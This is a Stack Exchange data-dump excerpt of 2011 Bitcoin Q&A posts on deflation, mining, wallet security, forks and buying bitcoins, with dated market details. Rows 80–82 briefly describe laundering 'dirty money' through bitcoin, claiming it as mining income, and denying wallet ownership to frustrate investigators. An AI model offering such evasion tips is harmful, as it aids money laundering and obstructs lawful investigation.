  <row Id="74" PostTypeId="2" ParentId="66" CreationDate="2011-08-30T22:03:26.497" Score="47" Body="&lt;p&gt;There are two potential ways in which &lt;a href=&quot;http://en.wikipedia.org/wiki/Deflation&quot;&gt;monetary deflation&lt;/a&gt; can impact a currency:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.  Usability&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most modern currencies have a minimum unit, such as the penny in the United States, or the yen in Japan.  If these currencies existed in only finite quantities, then as the economy grew and/or physical money was lost, there might eventually be too few of these units in circulation to allow normal commerce.  Imagine if, for example, the U.S. dollar became so rare that you could buy a car with a single U.S. penny.  How would you buy a loaf of bread?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin, however, does not have this problem because unlike the physical currencies of most countries, bitcoins are infinitely divisible.  Even if only one bitcoin remained, it would be sufficient to run a substantial economy on, based on the ability to use tiny fractions of it like the &lt;a href=&quot;https://en.bitcoin.it/wiki/FAQ#What_do_I_call_the_various_denominations_of_Bitcoins.3F&quot;&gt;Satoshi&lt;/a&gt;.  If even the Satoshi were to become too highly valued/unavailable for commerce, the Bitcoin protocol could be updated to allow even smaller denominations.  So the usability of bitcoins is safe from the effects of deflation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Broader economic consequences from deflation&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many economists believe that deflation is bad for an economy because people will be less likely to invest their money if they can &quot;earn&quot; increased value simply by holding on to it.  Why buy something today, the argument goes, if you could buy it for half as much in a few months time?  Also, taking out loans becomes very difficult, because to be practical they have to have negative interest rates and then why would anyone loan out money in the first place?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there is good reason to believe that deflation might not have such a negative effect on Bitcoin.  For one, Bitcoin is unlikely to become the only currency in the world economy, so investments, loans, etc. can simply be denominated in another currency.  But even more importantly there are several concrete examples from history of strictly deflationary currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the &lt;a href=&quot;http://en.wikipedia.org/wiki/Swiss_dinar&quot;&gt;Iraqi &quot;Swiss&quot; dinar&lt;/a&gt; was a currency that ceased being printed after the first Gulf War, and was left in use only by the Kurdish regions of the country.  With a finite number of &quot;Swiss&quot; dinars in existence, and some being lost or damaged over time, this left the currency in precisely the same state as Bitcoin.  Since it was no longer backed by a government, many economists expected the currency and its economy to collapse.  Instead, the Kurdish economy continued largely as normal for 13 years, and the &quot;Swiss&quot; dinar even appreciated against the &quot;Saddam&quot; dinar that was meant to replace it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://falkvinge.net/2011/08/21/bitcoins-deflationary-economy-not-a-problem-in-itself/&quot;&gt;Rick Falkvinge&lt;/a&gt; also raises another excellent point regarding deflationary economies.  If, as economists expect, people would decline to buy something today as opposed to next year for half price, then it should be the case that no one ever buys computers, right?  But in fact, the computer industry thrives despite this continued trend of &quot;whatever something costs today, it will cost a fraction of that within a few years&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, this is a question for economists to duke out, and you can find more information about how different economic schools approach the problem &lt;a href=&quot;https://bitcointalk.org/index.php?topic=11627.0&quot;&gt;here&lt;/a&gt;.  Suffice it to say, this cannot be considered a crippling fault in Bitcoin as a technology.&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="44" LastEditDate="2011-10-05T18:50:45.327" LastActivityDate="2011-10-05T18:50:45.327" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="75" PostTypeId="2" ParentId="28" CreationDate="2011-08-30T22:03:42.857" Score="5" Body="&lt;p&gt;The upcoming Bitcoin client v0.4 will have encryption on wallet.dat if you choose to set password on wallet.&lt;/p&gt;&#xA;" OwnerUserId="54" LastActivityDate="2011-08-30T22:03:42.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="76" PostTypeId="2" ParentId="53" CreationDate="2011-08-30T22:04:03.027" Score="8" Body="&lt;p&gt;The &lt;a href=&quot;https://bitcointalk.org/index.php?topic=9812.0&quot; rel=&quot;noreferrer&quot;&gt;Bitcoin Lottery&lt;/a&gt; used an SHA256 hash of the two most recent blocks to generate random data and to my recollection there were not too many complaints about that method they chose. In any case it's only good for 256 bits of questionably random data every 10 minutes (20 if you don't reuse blocks) so there are probably better entropy sources, such as the setup they've built over at &lt;a href=&quot;http://www.random.org/&quot; rel=&quot;noreferrer&quot;&gt;random.org&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-08-30T22:04:03.027" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="77" PostTypeId="2" ParentId="59" CreationDate="2011-08-30T22:04:16.000" Score="25" Body="&lt;p&gt;For the amount of time you would spend setting up a CPU miner, at minimum wage in the US you would be at a loss.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even GPU mining is barely profitable for most people right now. It would definitely be more profitable to speculate, and even more profitable to operate a Bitcoin business. There are a great deal of people who want to use their Bitcoins for purchases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the current exchange of under $10:1BTC, the most efficient graphics cards are taking months to pay off their initial investment (with free electricity).&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2011-08-30T22:04:16.000" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="78" PostTypeId="2" ParentId="60" CreationDate="2011-08-30T22:06:13.820" Score="3" Body="&lt;p&gt;No currencies are stable unless they have a central bank making it artificially stabile. When that is said, the stability will largely be depending on the size of the economy. I do not, however know exactly how to measure the size of the Bitcoin economy, but I assume it should be measured in terms of the total amount sent between people or companies over a period of time (which would be similar to the measurement of GDP). &lt;/p&gt;&#xA;" OwnerUserId="6" LastActivityDate="2011-08-30T22:06:13.820" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="79" PostTypeId="7" CreationDate="2011-08-30T22:07:11.680" Score="0" Body="&lt;p&gt;The Bitcoin stack exchange is for users and enthusiasts of Bitcoin and related technologies.  If you have a question about …&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;how to use or accept bitcoins&lt;/li&gt;&#xA;&lt;li&gt;the Bitcoin network or protocol&lt;/li&gt;&#xA;&lt;li&gt;the open-source &lt;a href=&quot;http://bitcoin.org/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin client&lt;/a&gt; or other Bitcoin software&lt;/li&gt;&#xA;&lt;li&gt;a cryptocurrency or technology derived directly from Bitcoin such as &lt;a href=&quot;https://en.bitcoin.it/wiki/Namecoin&quot; rel=&quot;nofollow&quot;&gt;Namecoin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;distributed cryptocurrencies not derived directly from Bitcoin such as &lt;a href=&quot;https://ripple.com/&quot; rel=&quot;nofollow&quot;&gt;Ripple&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and it is &lt;strong&gt;not about&lt;/strong&gt; …&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;programming technique&lt;/li&gt;&#xA;&lt;li&gt;investment advice&lt;/li&gt;&#xA;&lt;li&gt;politics or philosophy&lt;/li&gt;&#xA;&lt;li&gt;a site or software recommendation&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;then you’re in the right place to ask your question!&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="22" LastEditDate="2013-02-13T17:17:09.817" LastActivityDate="2013-02-13T17:17:09.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="80" PostTypeId="2" ParentId="72" CreationDate="2011-08-30T22:09:12.620" Score="1" Body="&lt;p&gt;You get bitcoins from 2 or more sources and give their bitcoins to each other.  Now expand that and do it many times and you can launder bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="14" LastActivityDate="2011-08-30T22:09:12.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="81" PostTypeId="2" ParentId="72" CreationDate="2011-08-30T22:09:37.557" Score="9" Body="&lt;p&gt;If you purchase a bunch of Bitcoins with dirty money, and then sell the Bitcoins for clean money - you have essentially laundered your money with Bitcoins. You can then claim that your income came from Bitcoin mining, and it would be difficult to investigate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is exceedingly difficult to anonymize your Bitcoin transactions. I think the appeal is that it adds an extra hoop for the IRS to jump through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not only is it possible and &lt;a href=&quot;http://anonymity-in-bitcoin.blogspot.com/2011/07/bitcoin-is-not-anonymous.html&quot;&gt;proven&lt;/a&gt; that people can trace transaction origins, but it will likely be easier to do in the future if the Bitcoin core remains unchanged in this respect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin anonymity is a fallacy.&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2011-08-30T22:09:37.557" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="82" PostTypeId="2" ParentId="72" CreationDate="2011-08-30T22:10:14.200" Score="6" Body="&lt;p&gt;It will always be possible to trace a transaction back to its initial wallet. This is a design choice by the Bitcoin team, and could have been avoided (see the &lt;a href=&quot;https://crypto.stackexchange.com/q/508/617&quot;&gt;answers to this question&lt;/a&gt; for more). However, there could be some legal ways of avoiding this, because if they money goes through several wallets, even if you can't hide the wallets, you could deny ownership of the earlier ones, and argue that this was a random gift somebody gave to you.&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="-1" LastEditDate="2017-04-13T12:48:25.933" LastActivityDate="2011-08-30T22:10:14.200" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="83" PostTypeId="2" ParentId="1" CreationDate="2011-08-30T22:10:28.057" Score="1" Body="&lt;p&gt;CPU miner in PHP - &lt;a href=&quot;https://github.com/codler/Bitcoin-phpMiner&quot; rel=&quot;nofollow&quot;&gt;https://github.com/codler/Bitcoin-phpMiner&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="54" LastActivityDate="2011-08-30T22:10:28.057" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="84" PostTypeId="2" ParentId="66" CreationDate="2011-08-30T22:11:28.057" Score="1" Body="&lt;p&gt;It's been a long time since my Econ101 class but let's see if I can get this right...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deflation of the currency is only an issue in two circumstances, neither of which currently apply to bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Deflation harms individuals who have large debts in the deflating currency, especially those with fixed payments. If the value of one dollar doubles tomorrow then a $1,000 mortgage payment suddenly seems quite a lot to pay for a property that was entirely worth that sum not long ago.&lt;/li&gt;&#xA;&lt;li&gt;Deflation harms individuals when the lag time between the deflation and price changes is substantial or when companies hold large amounts of stocks purchased at pre-inflation prices and are unwilling to sell at a &quot;loss&quot; even though the money is now worth more.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To my knowledge, no one is making or taking out substantial loans denominated in BTC with fixed payment plans, though that may soon change. There are also many discussions on the forums and elsewhere regarding how loans denominated in BTC might be made more feasible in a deflationary system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for #2, there are few (if any) companies who hold stock purchased with BTC and sell at fixed BTC prices. Almost all companies have stock purchased with fiat currency and their pricing is automatically updated at the time of sale to reflect a fiat value, so they do not face the &quot;selling at a 'loss'&quot; scenario.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-08-30T22:11:28.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="85" PostTypeId="1" AcceptedAnswerId="111" CreationDate="2011-08-30T22:13:42.560" Score="16" ViewCount="7692" Body="&lt;p&gt;What is it that makes Bitcoin unique amongst crypto-currencies?  Is it just the most popular one or does it have better design aspects too?&lt;/p&gt;&#xA;" OwnerUserId="67" LastEditorUserId="5406" LastEditDate="2023-09-27T13:10:18.647" LastActivityDate="2023-09-27T13:10:18.647" Title="What are the differences between Bitcoin and other crypto-currencies?" Tags="|currencies|key-selling-points|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="86" PostTypeId="1" CreationDate="2011-08-30T22:13:47.620" Score="13" ViewCount="3170" Body="&lt;p&gt;The &lt;a href=&quot;http://en.wikipedia.org/wiki/Gini_coefficient&quot;&gt;Gini coefficient&lt;/a&gt; is a measure of the inequality of something's distribution, where a value of 0 represents total equality and a value of 1 maximal inequality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to perform this type of estimate on how bitcoins are distributed throughout the userbase? And/or is it possible to tell how this distribution is changing over time? &lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="44" LastEditDate="2011-08-31T23:43:12.943" LastActivityDate="2019-05-15T12:11:10.470" Title="Is it possible to estimate the Gini coefficient for Bitcoins and if the trend is increasing or decreasing?" Tags="|economic-theory|" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="87" PostTypeId="2" ParentId="28" CreationDate="2011-08-30T22:13:56.973" Score="3" Body="&lt;p&gt;I use virtual machine with encrypted home folder. It's a bit geeky, but is very secure and I am able to send money with no hassle of repeating the process (David Perry's advice). Don't forget to encrypt and backup your wallet.dat regularly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With time there will be many reputable online wallet services available, though I would recommend diversifying your bitcoins in multiple places, just in case.&lt;/p&gt;&#xA;" OwnerUserId="23" LastActivityDate="2011-08-30T22:13:56.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="88" PostTypeId="1" AcceptedAnswerId="110" CreationDate="2011-08-30T22:16:20.563" Score="18" ViewCount="2566" Body="&lt;p&gt;As I understand things, the security and integrity of Bitcoin rely on the assumption that its hashing is &quot;hard&quot; in some sense.  However, in the past, processing power has increased exponentially.  This has made some problems solvable in a reasonable amount of time that were not solvable before.  How does Bitcoin account for the possibility that processing power will continue to increase in the future?&lt;/p&gt;&#xA;" OwnerUserId="38" LastEditorUserId="5" LastEditDate="2011-09-02T16:23:01.833" LastActivityDate="2022-04-11T15:01:37.020" Title="Is Bitcoin future-proof?" Tags="|security|hash|future-proof|" AnswerCount="5" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="89" PostTypeId="2" ParentId="66" CreationDate="2011-08-30T22:16:35.130" Score="15" Body="&lt;p&gt;No.  There are many things that could destroy bitcoin, but deflation is not one of them.  While deflation is problematic for a currency backed by debt (as most, if not all, national currencies are), it is not an issue for commodity currencies (and bitcoin is most similar to commodity currencies).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The deflation argument goes something like this: everyone, believing that the value of the currency is going to rise will simply hold the currency and never spend it.  But this argument completely ignores the need for diversification (would you put all of your wealth into bitcoin?).  It also ignores the fact that if people decided to put all their wealth into bitcoin and save everything, they would still need to eat and buy things at some point.  They would have no choice but to spend it.  And, if everyone actually did invest everything into bitcoin, it would create a bubble in the value that would eventually deflate and teach everyone why diversification is good.  The argument also ignores the fact that hoarding itself is not bad...when people hoard bitcoin, they cause the value to rise and that creates wealth that others can use for their needs.  In a way, hoarding is an investment in the broad bitcoin economy.&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2011-08-30T22:16:35.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="90" PostTypeId="2" ParentId="36" CreationDate="2011-08-30T22:19:16.503" Score="6" Body="&lt;p&gt;There are no academic papers on Bitcoin market behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Bitcoin or another peer-to-peer currency ever develops a significant closed economy, then it would be a rich source of information on the behavior of markets and economies, as the transaction timing, value and locations (for both the sender and receiver in a transaction) of Bitcoin transactions is publicly broadcasted -and in the case of timing and value, already being recorded in the block chain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, information about the full Bitcoin transaction history of each pseudonymous individual can be deduced through network analysis techniques.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While Bitcoin is reserved for niche use and doesn't form a closed economy though, the data from the transaction history is of limited use for studying real world market and economic behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, in the future the visibility of Bitcoin transaction data could be reduced if many participants in the Bitcoin economy begin to rely on private layers built on top of the Bitcoin network to conduct their transactions through, which is likely to happen given the implications for privacy that visible transactions create.&lt;/p&gt;&#xA;" OwnerUserId="7" LastActivityDate="2011-08-30T22:19:16.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="91" PostTypeId="1" AcceptedAnswerId="100" CreationDate="2011-08-30T22:20:32.367" Score="131" ViewCount="50915" Body="&lt;p&gt;&lt;em&gt;This is a question many people ask when they're introduced to Bitcoin.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin sounds interesting, but if I want to use this system I will need to get some coins, otherwise, there's no way I can spend them! How can I start?&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="5406" LastEditDate="2021-03-26T20:23:15.197" LastActivityDate="2023-09-06T03:52:13.887" Title="How do you obtain bitcoins?" Tags="|mining-reward|trading|buy-bitcoins|canonical-question|" AnswerCount="7" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="92" PostTypeId="1" AcceptedAnswerId="102" CreationDate="2011-08-30T22:22:12.410" Score="18" ViewCount="798" Body="&lt;p&gt;Great effort has been put into Bitcoin's concept of money supply and that there will never be more than 21 million units.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it's relatively easy to fork it and create alternate block chains. SolidCoin, IXCoin, IOCoin etc are much less worth, but they can easily be traded against Bitcoin. Does this increase the over-all supply of Bitcoin-like money to well beyond 21 million units? Some believe yes, and that this is one reason already for the recent price drop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the concept of open and decentralized P2P money is still young. Chances are that a lot of other such currencies will pop up in time. Is there a risk that Bitcoin will be thwarted by an inflation of other currencies, rendering it and all other open, &quot;free&quot;, decentralized money worthless and useless?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: One thing to consider in this context is that the number of traditional currencies will always be limited as there are only so many nation states on this planet (and they are consolidating, e.g. Euro), but the number of decentralized digital currencies is potentially unlimited.&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="15" LastEditDate="2011-08-30T22:50:02.553" LastActivityDate="2013-08-30T21:39:32.373" Title="Will forks and alternative block chains cause hyper-inflation of decentralized digital money?" Tags="|bitcoin-economy|money-supply|inflation|alternatives|currencies|" AnswerCount="6" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="94" PostTypeId="2" ParentId="91" CreationDate="2011-08-30T22:23:41.457" Score="9" Body="&lt;p&gt;This is from my answer on &lt;a href=&quot;https://money.stackexchange.com/questions/9395/how-does-someone-get-bitcoins/9399#9399&quot;&gt;Money.SE&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set up your computer to mine for Bitcoins, you can exchange goods and services for Bitcoins, or you can purchase Bitcoins on an exchange. Some people will trade their programming or web design services for Bitcoins; others sell goods like alpaca socks in exchange for Bitcoins. The exchanges operate similarly to forex in that someone can trade say USD for Bitcoins (instead of trading USD for Euros or British pounds). According to &lt;a href=&quot;http://bitcoincharts.com/markets/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Charts&lt;/a&gt;, the &lt;a href=&quot;http://www.mtgox.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mt. Gox&lt;/a&gt; exchange has by far the highest volume, but in recent months &lt;a href=&quot;http://www.tradehill.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Trade Hill&lt;/a&gt; has gained some ground.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for mining, computer performance matters as well as the &quot;difficulty.&quot; The difficulty in mining fluctuates so that it becomes harder as the collective mining power increases. Mining is set up so that someone earns a block of 50 Bitcoins on average several times an hour (but this reward will decrease with time such that only 21 million are ever created). You can't ever make progress towards mining a block of 50; mining is an inherently random process. It's possible to successfully mine two blocks in short succession only to have a huge gap before successfully mining another block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should note that CPU mining is essentially pointless right now. On average it would take several years even for top-end CPUs to successfully mine a block. GPU mining (where the processor built into graphics cards is used) is what is popular now. Even so, it would take on average a long time to generate a block even with several GPUs. As such, many miners join mining pools where everyone shares credit when anyone successfully mines a block. This serves to decrease the variance and is will lead to a more regular flow of Bitcoins instead of long gaps followed by blocks of 50.&lt;/p&gt;&#xA;" OwnerUserId="38" LastEditorUserId="-1" LastEditDate="2017-04-13T12:25:30.827" LastActivityDate="2011-08-30T22:23:41.457" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="96" PostTypeId="2" ParentId="85" CreationDate="2011-08-30T22:24:34.487" Score="6" Body="&lt;p&gt;From a theoretical point of view, the interesting part of bitcoin is that it lacks a central issuing authority (often called a mint in the crypto-currency literature). In terms of security an anonymity of users, it does not have particularly strong features. Refer to answers on the following two questions for more info:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://cstheory.stackexchange.com/q/7145/1037&quot;&gt;https://cstheory.stackexchange.com/q/7145/1037&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://crypto.stackexchange.com/q/508/617&quot;&gt;https://crypto.stackexchange.com/q/508/617&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="-1" LastEditDate="2017-04-13T12:48:25.933" LastActivityDate="2011-08-30T22:24:34.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="97" PostTypeId="2" ParentId="88" CreationDate="2011-08-30T22:25:39.420" Score="5" Body="&lt;p&gt;While security is certainly an arms race, the trick that makes bitcoin future-proof is that it's an open source project and we can all actively participate in that arms race. If SHA-256, RIPEMD-160 or ECDSA (the hashing and encryption algorithms behind bitcoin) are ever broken or crippled, we can simply change the client to use whatever &quot;new hotness&quot; replaces them. Since protocols are seldom completely crippled in one fell swoop and there are three protocols that would have to be broken to trivialize bitcoin theft it's quite likely that we'll be able to swap out &quot;crippled&quot; protocols quickly without sacrificing much security.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-08-30T22:25:39.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="98" PostTypeId="2" ParentId="85" CreationDate="2011-08-30T22:25:46.290" Score="5" Body="&lt;p&gt;The thing that separates Bitcoin from other cryptocurrencies is the amount of computing power the network has. It is extremely difficult to 'overtake' the network because it would be costly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wouldn't say it has the 'best' design aspect to it as something catastrophic as a price crash would cause miners to pull out. It might take months or weeks for the difficulty to get back on par. Transactions will be super slow, as there are few miners to solve the blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like &lt;a href=&quot;http://solidcoin.info/&quot; rel=&quot;noreferrer&quot;&gt;SolidCoin&lt;/a&gt; fixes this problem, I really like the twice daily difficulty adjustments as it prepares the network for something Bitcoin might be prone for.&lt;/p&gt;&#xA;" OwnerUserId="63" LastActivityDate="2011-08-30T22:25:46.290" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="99" PostTypeId="2" ParentId="88" CreationDate="2011-08-30T22:28:43.857" Score="3" Body="&lt;p&gt;Bitcoin makes mining coins progressively harder, and has a max cap on the total number of coins that will eventually be available. This makes the mining mechanism future proof.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of producing fake transactions and thus double spending or stealing money, you are competing against the network of users, and thus must have more computing power than the rest of the network. If all users increase in computing power at about the same rate, then cheating is prevented. &lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-08-30T22:28:43.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="100" PostTypeId="2" ParentId="91" CreationDate="2011-08-30T22:28:59.057" Score="71" Body="&lt;h1&gt;Exchanges&lt;/h1&gt;&#xA;&lt;p&gt;These are platforms that match buyers with sellers. They allow you to deposit fiat currency (like USD, EUR, etc.) and use it to buy Bitcoin. There are both centralized platforms and decentralized exchanges (often referred to as DEXs).&lt;/p&gt;&#xA;&lt;h1&gt;Brokerage Services&lt;/h1&gt;&#xA;&lt;p&gt;Unlike exchanges, where you're trading with other users, brokerage services sell you Bitcoin directly. This method might be more user-friendly for those new to Bitcoin.&lt;/p&gt;&#xA;&lt;h1&gt;Peer-to-Peer (P2P) Platforms&lt;/h1&gt;&#xA;&lt;p&gt;Here, you'll buy directly from another person. These platforms may offer escrow services to ensure safety and trustworthiness in transactions.&lt;/p&gt;&#xA;&lt;h1&gt;Bitcoin ATMs&lt;/h1&gt;&#xA;&lt;p&gt;These physical machines can be found in many cities and allow for the purchase (and sometimes sale) of Bitcoin. The process typically involves inserting cash and receiving Bitcoin in return.&lt;/p&gt;&#xA;&lt;h1&gt;Mining&lt;/h1&gt;&#xA;&lt;p&gt;In the early days, Bitcoin mining was accessible to many, but it's now more industrialized. If interested, consider the concept of joining a mining pool.&lt;/p&gt;&#xA;&lt;h1&gt;Accept Bitcoin&lt;/h1&gt;&#xA;&lt;p&gt;Offering goods or services in exchange for Bitcoin is a direct way to acquire it. As the ecosystem grows, more merchants are accepting Bitcoin.&lt;/p&gt;&#xA;&lt;h1&gt;Earning Platforms&lt;/h1&gt;&#xA;&lt;p&gt;There are platforms and websites where you can earn Bitcoin as rewards for tasks, shopping, or other services. Always research any platform you consider.&lt;/p&gt;&#xA;&lt;h1&gt;Lending or Staking&lt;/h1&gt;&#xA;&lt;p&gt;If you already own Bitcoin, there are mechanisms to earn more by lending or staking your holdings, depending on the platform's offerings.&lt;/p&gt;&#xA;&lt;h1&gt;Final Thoughts&lt;/h1&gt;&#xA;&lt;p&gt;Always do your research and prioritize security. The world of cryptocurrency is dynamic, so staying updated and cautious is key.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;I've updated this answer from my original to remove links to specific platforms. I don't want to recommend specific platforms that may not be the best option for you, or even exist in the future. However, you may find these resources helpful:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.org/en/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin.org&lt;/a&gt; - The official Bitcoin website often has information about exchanges and other services.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Bitcoin Wiki&lt;/a&gt; - This is a community-run resource that has a lot of information about Bitcoin, including exchanges and other services.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4774" LastEditorUserId="4774" LastEditDate="2023-09-06T03:52:13.887" LastActivityDate="2023-09-06T03:52:13.887" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="101" PostTypeId="2" ParentId="88" CreationDate="2011-08-30T22:30:08.070" Score="6" Body="&lt;p&gt;The bitcoin network constantly adjusts itself to account for increasing amounts of computational power applied to securing the network.  Thus, faster computers will not adversely affect the integrity of bitcoin.  However, there could be problems should the integrity of the underlying cryptographic algorithms be compromised.  It is possible to move bitcoin to newer cryptographic algorithms, but it would require a high degree of planning and coordination.  The good news is that there would be a strong economic incentive for everyone that uses bitcoin to make that transition happen as quickly and smoothly as possible.&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2011-08-30T22:30:08.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="102" PostTypeId="2" ParentId="92" CreationDate="2011-08-30T22:34:17.863" Score="14" Body="&lt;p&gt;It depends entirely how much those alternate block-chains get utilized. In the recent examples of ixcoin and i0coin, a small portion of btc miners and users switched over, sold their stash and went right back to bitcoin. It's essentially a case of &lt;a href=&quot;http://en.wikipedia.org/wiki/Network_effect&quot;&gt;network effect&lt;/a&gt; - whichever block-chain has the most users will be the most attractive to new users, and those new users themselves contribute to that effect. Bitcoin is by no means beyond the &quot;tipping point&quot; where forks can no longer threaten it, but short of a fork with some superior feature or another it remains the preferred fork and probably will for some time. Even namecoin hasn't touched bitcoin's user-base much despite having a definitive use built into the protocol.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-08-30T22:34:17.863" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="103" PostTypeId="1" AcceptedAnswerId="149" CreationDate="2011-08-30T22:38:24.593" Score="20" ViewCount="13953" Body="&lt;p&gt;I'm a software guy with only the most basic of hardware training/knowledge so while I understand the basic concepts of ASICs and FPGAs the details are beyond me. What are the primary differences and, more importantly to my purposes, how do those differences play out for bitcoin mining purposes?&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="5406" LastEditDate="2016-01-21T15:24:19.440" LastActivityDate="2016-01-21T15:24:19.440" Title="What's the difference between an ASIC and an FPGA? Which is better for mining?" Tags="|asic|fpga|mining-hardware|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
